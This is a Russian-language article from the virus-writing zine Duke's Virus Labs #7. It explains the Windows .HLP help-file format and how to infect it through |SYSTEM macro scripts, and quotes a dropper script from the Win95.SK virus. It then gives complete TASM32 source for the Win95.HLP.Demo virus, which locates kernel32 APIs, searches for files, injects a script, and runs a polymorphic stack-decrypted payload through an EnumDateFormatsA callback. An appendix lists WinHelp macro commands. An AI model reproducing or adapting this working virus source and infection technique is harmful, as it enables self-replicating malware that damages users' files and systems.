- [Duke's Virus Labs #7] - [Page 33] - Win95.HLP.Demo (c) by SMT/SMF Имя вируса : Win95.HLP.Demo Автор : SMT/SMF Язык прогр. : TASM32 Дата создания : 24.06.99 Здесь я расскажу немного о формате файлов справки windows (.HLP-файлов). Как мы все уже давно знаем, такие файлы также могут быть подвергнуты вирусной атаке. HLP-файлы, как и HTML-файлы содержат некоторый код, который интерпретируется специальной программой (в нашем случае winhlp32.exe). Если сравнивать HLP и HTML, то можно найти немного общего, хотя HLP-файлы больше похожи на CHM, потому что скрипт упакован и закодирован, а также потому, что HLP, как и CHM, обычно содержат более одной страницы. Итак, в начале HLP-файла находится 16-байтный заголовок, в котором хранится общая информация о файле: 00000000-00000003 Байты 3F 5F 03 00 - сигнатура HLP-формата. Её можно дополнительно проверить перед заражением 00000004-00000007 Расположение каталога страниц (смещение относительно начала файла) 00000008-0000000B Зарезервировано (должно быть FF FF FF FF, иначе файл не откроется) 0000000C-0000000F Длина HLP-файла. Всё, что за этим смещением, система игнорирует, т.о. в конец файла можно записать наш вирусный оверлей. Нас более всего интересует расположение каталога страниц (секций). Первый байт заголовка - 2Fh, но проверять это не обязательно. Заголовок этого каталога нам не интересен, но по смещению 37h относительно него мы находим сам каталог. Его формат очень прост: ASCIIZ строка - название секции, затем после завершающего нуля следует смещение этой секции относительно начала файла. Затем опять ASCIIZ строка и смещение. И т.д... в конце каталога вместо ASCIIZ строки записан 00. Обычно наибольший интерес представляет секция |SYSTEM; как правило - это последняя секция. Можно, конечно использовать и другие секции, но тогда необходимо будет ждать открытия страницы с данной секцией; возможны и другие проблемы, например несовпадение формата секции (попадаются секции, не содержащие скриптов, а хранящие какие-то настройки). Секция |SYSTEM (вполне вероятно, другие секции устроены так же) представляет из себя следующее: Длина секции - 4 байта Длина секции без заголовка - 4 байта (обычно на 9 байт больше, чем предыдущее поле, но не следует полагаться на это) Еще какие-то данные - 23 байта Через 31 байт от начала секции начинается скрипт. Первое 16-битное значение определяет тип скрипта. В нашем случае нужно записать 4 (т.е. 04 00) - управляющий скрипт. Затем следует 2-байтная длина ASCIIZ-строки, включая завершающий 0. А после этого собственно ASCIIZ-строка. Полный список команд можно посмотреть в прилагаемом файле. Наиболее интересны следующие: RR, или RegisterRoutine - импортировать функцию из PE-файла (например, из kernel32.dll) формат вызова: RR(`DLL-name',`FunctionName',`формат_вызова_функции'), например RR("keRnEl32.dLL","Sleep","U") - импортировать Sleep из kernel32.dll с одним параметром типа unsigned long int. "S" - параметр типа string. Тогда MessageBoxA описывается как RR("user32","MessageBoxA","USSU") Название библиотеки не чувствительно к регистру, а в названия функций нужно записывать с учётом регистра. Строки можно записывать в кавычках(напр. "HELLO"), а лучше в разносторонних кавычках (напр. `Hello'), потому что строки часто оказываются многократно вложенными. После импорта функции её можно вызывать уже по имени: Sleep(1000). Другая полезная функция - EF (Execute file). У нее 3 параметра - имя файла, который запускают; командная строка; 3-й параметр - как показывать окно (SW_SHOW, SW_HIDE и т.д. можно накопать из Win32 SDK). Если установить его в 0, то окно не появится на экране, хотя программа запуститься. Вот пример скрипта из Win95.SK: IF(NOT(FE(`C:\\NTLDR.')),`RR("kERnEl32","Sleep","U")') IF(NOT(FE(`C:\\NTLDR.')),`EF(`coMmaND.cOm',"/CecHo .... >C:\\\\CFBEY.COM",0)') IF(NOT(FE(`C:\\NTLDR.')),`Sleep(600)') IF(NOT(FE(`C:\\NTLDR.')),`EF(`coMmaND.cOm',"/CecHo ... >>C:\\\\CFBEY.COM",0)') IF(NOT(FE(`C:\\NTLDR.')),`Sleep(600)') IF(NOT(FE(`C:\\NTLDR.')),`EF(`coMmaND.cOm',"/CecHo ... >>C:\\\\CFBEY.COM",0)') IF(NOT(FE(`C:\\NTLDR.')),`Sleep(600)') IF(NOT(FE(`C:\\NTLDR.')),`EF(`coMmaND.cOm',"/CecHo ... >>C:\\\\CFBEY.COM",0)') IF(NOT(FE(`C:\\NTLDR.')),`Sleep(600)') IF(NOT(FE(`C:\\NTLDR.')),`EF(`C:\\\\CFBEY.COM',qchPath,0)') Здесь '...' - некоторый текст, который, будучи записанным в COM-файл, представляет из себя исполняемый код, загружающий и запускающий вирус. Следует заметить, что '\\' преобразуется в '\'. На втором уровне вложенности кавычек для записи '\' уже требуется записать '\\\\', и т.д... Между записями происходит пауза чуть больше полсекунды, чтобы не произошел одновременный доступ нескольких параллельно запущенных command'ов к файлу. FE(filename) - проверка существования файла; необходима, чтобы вирус не запустился в WindowsNT. IF(условие, `команда') - выполнить команду, если условие истинно. в переменной qchPath хранится полный путь к загруженному HLP-файлу. Названия остальных переменных - в приложении, хотя они не представляют интереса. Вирус Win95.SK вызывает command.com и с помощью команды echo и перенаправления вывода формирует текстовый файл, который затем запускает. Имя файла и его полиморфное содержимое выбирается случайно при заражении очередного HLP. Это - еще одна ступень полиморфизма вируса. Все это неплохо для первого HLP-вируса, но недостатки все же есть - при запуске command окно промелькивает на панели задач windows95, и если установлена звуковая схема, то слышно, как запускаются и закрываются программы. С учетом того, как красиво написан код вируса,этот недостаток я считаю несущественным. Надо сказать, что HLP-скрипт настолько развит (да еще и импорт функций имеется), что в принципе можно написать вирус целиком на нем. ------------------------------- Что-то я хотел про заражение рассказать, но не вовремя отвлекся на Win95.SK... Так вот, так как секция |SYSTEM последняя, то можно либо 1) сдвинуть скрипт по смещению 31 от начала секции, вставив туда свой кусок, и увеличить длины секции в ее заголовке на размер нашего скрипта, а также увеличить длину в общем заголовке файла на столько же, либо 2) переписать 31-байтный заголовок этой секции в конец файла, приписать наш скрипт, приписать остаток секции, как и в случае (1) обновить длины файла и секции, а затем переставить указатель в каталоге страниц, чтобы |SYSTEM указывал на вновь созданную секцию. Второй способ немного проще и срабатывает даже когда заражаемая секция не последняя, но более заметен - длина увеличивается еще и на размер всей секции |SYSTEM, и к тому же в файле появляется "дырка", не принадлежащая ни одной секции. Вообще-то насчёт "проще" у меня есть сомнения - придется еще обновлять каталог страниц, но зато копирование исходной секции нужно делать "слева направо", а в первом случае - "справа налево", чтобы не затереть еще не скопированный кусок. Алгоритму, конечно, это пофиг, а вот программеру... --------------------------------- Вместо использования command /c echo ...>>file и остальной 16-битной ерунды я придумал вот что: регистрируем функцию с callback'ом, например безобидную EnumDateFormats(), вызываем её, и управление передается на наш код. Единственная проблема - где взять указатель на нашу функцию. Вообще-то непросто догадаться, по какому адресу и какими кусками будет загружен HLP-файл. Поэтому я сделал следующее: нарисовал большую строку и передаю её адрес вместо адреса моей функции. Специальный полиморфный расшифровщик, находящийся в этой строке (не содержащий плохих символов и не содержащий всякой дряни вроде '\'), выполняет тривиальные арифметические действия и их результаты записывает в стек. А потом оказывается, что мы получили копию вирусного кода в стеке, который и запускаем. Конечно, полиморфик очень простой (только add, sub и xor;и то только с регистром eax), но может быть усовершенствован. Длина пока увеличивается всегда на одну и ту же константу, но это легко исправить (см. замечание про оверлеи). Да и к тому же не сильно-то и зашифруешь - сколько ни старайся, HLP-скрипт придется оставить в исходном виде :-(( Отдельно можно сказать о нахождении адресов API: Так как возврат происходит в kernel32, то можно считать, что её адрес нам известен, а там и GetProcAddress найти недолго... Может, и в NT будет работать. Да... Еще есть проверка на зараженность, хотя я и не собирался её делать, а пришлось.Дело в том, что если просматривемый файл изменить (повторно заразить), то winhlp32 скажет, что поступила более свежая версия, и что хватит старье смотреть... Вот так-то. Однако-ж проверку R/O и восстановление времени/атрибутов я не сделал, так что перед тестами снимайте READ/ONLY. Это всего лишь демо-вирус, который ищет файлы в своем текущем каталоге и показывает достающие MessageBox'ы, а вообще неплохо было бы поискать в HKEY_LOCAL_MACHINE\SOFTWARE\microsoft\windows\help, затем в %windir%\help, а потом еще и диск посканировать (обход каталогов можно сделать как в вирусах из DVL #6)... Но мне лень! И вообще! Сначала я хотел написать все это на VBasic'e, потому что тогда там совсем просто - дампишь прогу в vbs-файл и запускаешь, но Duke меня обломил - оказывается, чтобы погонять VBS на 95-той windows, нужно какую-то active-примочку установить, а где её взять, я не знаю :( ===== begin hlp.asm ===== .386p .model flat, stdcall include win.inc .data db 0 stackvar struct impfunctions label _ExitProcess dd ? _CreateFileA dd ? _ReadFile dd ? _WriteFile dd ? _SetFilePointer dd ? _CloseHandle dd ? _GetTickCount dd ? _FindFirstFileA dd ? _FindNextFileA dd ? _FindClose dd ? mainhdr label magic dd ? diroffset dd ? ffvalue dd ? filesize dd ? tempvar dd ? tempSP dd ? seed dd ? handle dd ? temp_sp dd ? syshdr db 15h dup (?) syshdrend label pagedir db 300h dup (?) ; start of win32 search record FindData label FileAttr dd ? FileCreateTime dq ? FileAccessTime dq ? FileWriteTime dq ? FileSizeHigh dd ? FileSizeLow dd ? reserv dd ?,? Filename db MAX_PATH dup(?) ShortFileName db 14 dup (?) ; end of search record stackvar ends .code start: nop call EnumDateFormatsA,offset callback1,2048,2 call ExitProcess,0 callback1: sub esp,virsize jmp callback virstart: callback: ; callback to EnumDateFormats() nop pushad mov ebx,[esp+20h+virsize] ; get address inside kernel32.dll ; (return adr to EnumDateFormats) sub esp,size stackvar mov ebp,esp ; create stack frame call _next ; find delta offset _next: pop edi sub edi,offset _next call FindAPI jz short quit ; exit if GetProcAddress API not found call [ebp._GetTickCount] mov [ebp.seed],eax ; randomize lea edx,[edi+mask] lea esi,[ebp.FindData] call [ebp._FindFirstFileA],edx,esi inc eax jz short quit dec eax findlp: push esi eax lea ebx,[ebp.Filename] call try_help pop eax esi push eax call [ebp._FindNextFileA],eax,esi test eax,eax pop eax jnz short findlp call [ebp._FindClose],eax quit: add esp,size stackvar xor eax,eax popad add esp,virsize ret 4 ; return from callback FindAPI:and ebx,0ffff0000h Find1: cmp word ptr [ebx],'ZM' ; looking for kernel32 start jz short MZfound sub ebx,000010000h cmp ebx,000400000h ja short Find1 xor ebx,ebx ret MZfound:mov edx,dword ptr [ebx+3ch] cmp word ptr [edx+ebx],'EP' ; is it PE ? jnz short Find1 mov esi,dword ptr [ebx+edx+78h] add esi,ebx ; esi = export directory VA mov ecx,dword ptr [esi+0ch] mov eax,dword ptr [ecx+ebx] and eax,0dfdfdfdfh cmp eax,'NREK' ; is it kernel32.dll ? jnz short Find1 mov eax,dword ptr [ecx+ebx+4] and ax,0dfdfh cmp eax,'23LE' jnz short Find1 ; final test for kernel32 mov ecx,dword ptr [esi+18h] mov edx,dword ptr [esi+20h] findname: ; looking for GetProcAddress mov eax,dword ptr [edx+ebx] cmp dword ptr [eax+ebx],'PteG' jnz short nextName cmp dword ptr [eax+ebx+4],'Acor' jnz short nextName cmp dword ptr [eax+ebx+8],'erdd' jnz short nextName ; ok - we'he found GetProcAddress name sub edx,dword ptr [esi+20h] ; get function_number_in_name_table *4 shr edx,1 mov eax,dword ptr [esi+24h] ; get start of ordinal table add eax,ebx movzx eax,word ptr [edx+eax] ; get ordinal mov edx,[esi+1ch] add edx,ebx mov esi,dword ptr [edx+eax*4] ; hooo... Get function address add esi,ebx ; now in esi lea edx,[edi+APInames] push ebp import: test byte ptr [edx],0ffh jz short Done push ebx edx call esi,ebx,edx ; import function address pop edx ebx mov [ebp],eax add ebp,4 nxtname:inc edx test byte ptr [edx-1],0ffh jz short import jmp short nxtname Done: pop ebp test ebp,ebp ; clear zero flag to indicate success ret nextName: add edx,4 loop findname xor ebx,ebx ; all names searched - needed function ret ; not found APInames: db 'ExitProcess',0 db 'CreateFileA',0 db 'ReadFile',0 db 'WriteFile',0 db 'SetFilePointer',0 db 'CloseHandle',0 db 'GetTickCount',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'FindClose',0 db 0 script dw 4,ss1 sc1 db "RR(`uSeR32.dll',`MessageBoxA',`USSU')",0 ss1 equ $-sc1 dw 4,ss2 sc2 db "MessageBoxA(0,`Trying to infect',`HLP.Demo',0)",0 ss2 equ $-sc2 dw 4,ss3 sc3 db "RR(`kERnEL32.dLL',`EnumDateFormatsA',`SUU')",0 ss3 equ $-sc3 dw 4,(sc4end-sc4)+(scr2end-scr2)+(virsize/4*11) sc4 db "EnumDateFormatsA(`" sc4end label scr2: jmp esp db "',2048,2)",0 scr2end label ; EnumDateFormats(proc, LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE); ss4 equ $-sc4 dw 4,ss5 sc5 db "MessageBoxA(0,`Script comes to end!',`HLP.Demo',0)",0 ss5 equ $-sc5 Script2Len equ $-scr2 ScriptEnd label ScriptSize equ $-script+(virsize/4*11) return: ret ; infect HLP-file, input: ebx=lpFileName try_help: mov [ebp.tempSP],esp xor eax,eax call [ebp._CreateFileA],ebx,GENERIC_READ or GENERIC_WRITE,eax,eax,\ OPEN_EXISTING,eax,eax mov esi,eax ; store file handle inc eax ; test for INVALID_HANDLE_VALUE jz short return lea ebx,[ebp.mainhdr] push 10h pop eax call Read cmp dword ptr [ebx],35f3fh jnz short return mov eax,[ebp.diroffset] add eax,37h call [ebp._SetFilePointer],esi,eax,0,FILE_BEGIN ; seek page directory lea ebx,[ebp.pagedir] push 300h pop eax call Read mov ecx,eax again: dec ecx jz short return cmp dword ptr [ebx+ecx],'SYS|' ; '|SYS' jnz short again cmp dword ptr [ebx+ecx+4],'MET' ; 'TEM',0 jnz short again mov eax,[ebp.filesize] xchg dword ptr [ebx+ecx+8],eax ; now eax=offset of |SYSTEM section call [ebp._SetFilePointer],esi,eax,0,FILE_BEGIN lea ebx,[ebp.syshdr] push 15h pop eax call Read mov eax,[ebx] ; old section size mov [ebp.temp_sp],esp sub eax,15h ; eax=section length (without header) sub esp,eax ; alloc some place in stack mov ebx,esp ; mov edx,[ebx] ; load page to avoid exception call Read cmp dword ptr [ebx+4],"`(RR" ; check for already infected jz abort ; =========================================== ; start of polymorph generator ; =========================================== mov [ebp.handle],esi ; store file handle to free esi for other use mov ecx,Script2Len lea ebx,[edi+ScriptEnd] call move lea ebx,[edi+virstart] mov ecx,virsize/4 cryptloop: sub esp,11 crypt_find_param: call RNum mov edx,eax call RNum shr eax,1 mov esi,[ebx] jnc short noadd ; add - 50% mov eax,esi sub eax,edx mov byte ptr [esp+5],5 ; `add eax,nnnn' opcode jmp short testforzero noadd: shr eax,1 jnc nosub ; sub - 25% mov eax,edx sub eax,esi mov byte ptr [esp+5],2dh ; `sub eax,nnnn' opcode jmp short testforzero nosub: mov eax,esi ; xor - 25% xor eax,edx mov byte ptr [esp+5],35h ; `xor eax,nnnn' opcode testforzero: call testz jz short crypt_find_param next_dword: mov byte ptr [esp],0b8h ; 'mov eax,nnnn' opcode mov [esp+1],edx mov [esp+6],eax mov byte ptr [esp+10],50h ; `push eax' opcode add ebx,4 loop cryptloop lea ebx,[edi+sc4end] mov ecx,sc4end-script call move add dword ptr [ebp.syshdr],ScriptSize add dword ptr [ebp.syshdr+4],ScriptSize lea ebx,[ebp.syshdrend] mov ecx,15h call move mov esi,[ebp.handle] ; restore file handle ; jump to EOF call [ebp._SetFilePointer],esi,[ebp.filesize],0,FILE_BEGIN mov ebx,esp mov eax,dword ptr [ebp.syshdr] call Write mov esp,[ebp.temp_sp] ; discard stack space add [ebp.filesize],eax call [ebp._SetFilePointer],esi,0,0,FILE_BEGIN push 10h pop eax lea ebx,[ebp.mainhdr] call Write ; update main header mov eax,[ebp.diroffset] add eax,37h call [ebp._SetFilePointer],esi,eax,0,FILE_BEGIN push 300h pop eax add ebx,pagedir-mainhdr call Write ; update page directory abort: mov esp,[ebp.tempSP] close: call [ebp._CloseHandle],esi ; close file ret ; read eax bytes to ebx Read: push ebx eax lea edx,[ebp.tempvar] call [ebp._ReadFile],esi,ebx,eax,edx,0 read1: test eax,eax pop eax ebx jz short abort ret ; write eax bytes from ebx Write: push ebx eax lea edx,[ebp.tempvar] call [ebp._WriteFile],esi,ebx,eax,edx,0 jmp short read1 ; --------- put piece to stack --------------- move: pop edx movelp: dec ebx mov al,[ebx] dec esp mov [esp],al loop movelp jmp edx ; -------------- get random 32-bit non-zero number ------------- RNum: mov eax,[ebp.seed] push ecx mov ecx,17 RN11: lea eax,[eax*4+eax] add eax,12479 ror eax,cl jnc short noxor xor eax,6202355h noxor: loop RN11 mov [ebp.seed],eax pop ecx call testz jz short RNum ret ; --------------- check: is there zero bytes or ["`'] in eax ? ------------- testz: push eax ecx push 4 pop ecx tst1: cmp al,' ' jbe testfailed cmp al,0f0h ja testfailed cmp al,'"' jz short testfailed cmp al,"'" jz short testfailed cmp al,'`' jz short testfailed cmp al,'\' jz short testfailed ror eax,8 or eax,eax loop tst1 inc ch testfailed: test ch,ch pop ecx eax ret mask db '*.*',0 @dwordalign virstart,0 virend label virsize equ offset virend - offset virstart ; API for starter extrn ExitProcess:PROC extrn EnumDateFormatsA:PROC end start ===== end hlp.asm ===== ===== begin appendix ===== прокомментировано только основное, но по названиям и так понятно, что к чему ------------- встроенные функции -------------------- UI UncheckItem I=UU TC Test Tab SW SPC I=SSIUS SH SSSSIS SE SetHelpOnFile SetContents Search SaveMark ResetMenu RA UU RemoveAccelerator RR // регистрация функции из DLL для последующего использования: // RR("DLLNAME","FuncName","U") ; 3-й параметр означает, что // в данном примере у функции 1 параметр типа unsigned // (можно писать RR(`DLLNAME.dll',`FuncName',`U') вместо этого) RegisterRoutine // то же, что RR PrinterSetup Print Prev PW IIIIUS PositionWindow PI PopupId PopupHash PC PopupContext NS I=I Not // логический not: NOT(cond) Next MU MPrintId MPrintHash KL I=SS JW JK JumpKeyword JI JumpId JumpHelpOn JH JumpHash JC JumpContext JumpContents NM IsMark SSU InsertMenu SSSSI InsertItem InitMPrint IfThenElse IfThen IS IF // проверка условия: IF(cond, `script') ISS IE I= IB History HelpOnTop HelpOn GotoMark UUU Generate FocusWindow FH FloatingMenu FD FE // проверка существования файла: FE(`filename') FO FileOpen SSSIU ExtInsertMenu SSSSIU ExtInsertItem SU ExtAbleItem Exit EP I=SU ExecProgram I=SSUS EF // выполнить файл: EF(`filename',"cmdline",0) // 3-й параметр=0 - не показывать окно EI EndMPrint EnableItem EB EnableButton DI DisableItem DB DisableButton DEB DestroyButton DeleteMark DeleteItem CB SSS CreateButton CT CS I=S Compare CopyTopic CopyDialog Contents U Command CE CW CloseWindow CI S CheckItem CIB ChangeItemBinding CBB SS ChangeButtonBinding BrowseButtons BookmarkMore BookmarkDefine BF i= Back AI SSSS AppendItem AN Annotate I=SUSS AL AA UUS AddAccelerator About ------------------- встроенные переменные --------------------- ExecFullTextSearch Find coBackground coForeground hfs lTopicNo qError qchPath // полный путь к текущему HLP-файлу hwndApp hwndContext ===== end appendix =====